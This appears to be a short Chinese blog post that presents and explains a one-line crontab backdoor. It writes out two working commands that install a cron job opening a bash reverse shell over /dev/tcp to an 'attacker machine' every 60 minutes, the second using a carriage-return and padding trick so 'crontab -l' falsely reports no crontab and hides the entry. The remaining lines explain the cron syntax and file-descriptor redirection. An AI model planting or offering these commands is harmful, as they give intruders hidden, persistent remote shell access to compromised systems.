crontab一句话后门分析

时间:2022-11-01 08:01:26

正常版本

 
(crontab -l;echo '*/60 * * * * exec 9<> /dev/tcp/127.0.0.1/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i')|crontab -

升级猥琐版本

 
(crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/127.0.0.1/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -

crontab -l直接提示no crontab 


分析:

echo '*/60 * * * *'

crontab格式 每隔60分钟执行一次


exec 9<>/dev/tcp/127.0.0.1/8888

以读写方式打开/dev/tcp,并指定服务器名为:127.0.0.1(攻击机) 端口号为:8888,指定描述符为9

要注意的是:/dev/tcp本身是不存在的,在/dev目录下是找不到的

 

exec 0<&9;exec 1>&9 2>&1;

linux 三个基本文件描述符 0:stdin 1:stdout 2:stderr

n >&m 表示使文件描述符n成为描述符m的副本

exec 0<&9; 将fd9从定向到标准输入;

exec 1>&9 2>&1;    将标准输出从定向到文件fd9,将标准错误从定向到标准输出.

简单的理解为fd9=fd0  fd1=fd9 所以我的理解是,fd9从标准输入读入字符,处理后结果用标准输出输出.

 

/bin/bash --noprofile -i

打开一个shell

shell后门脚本大全 传送门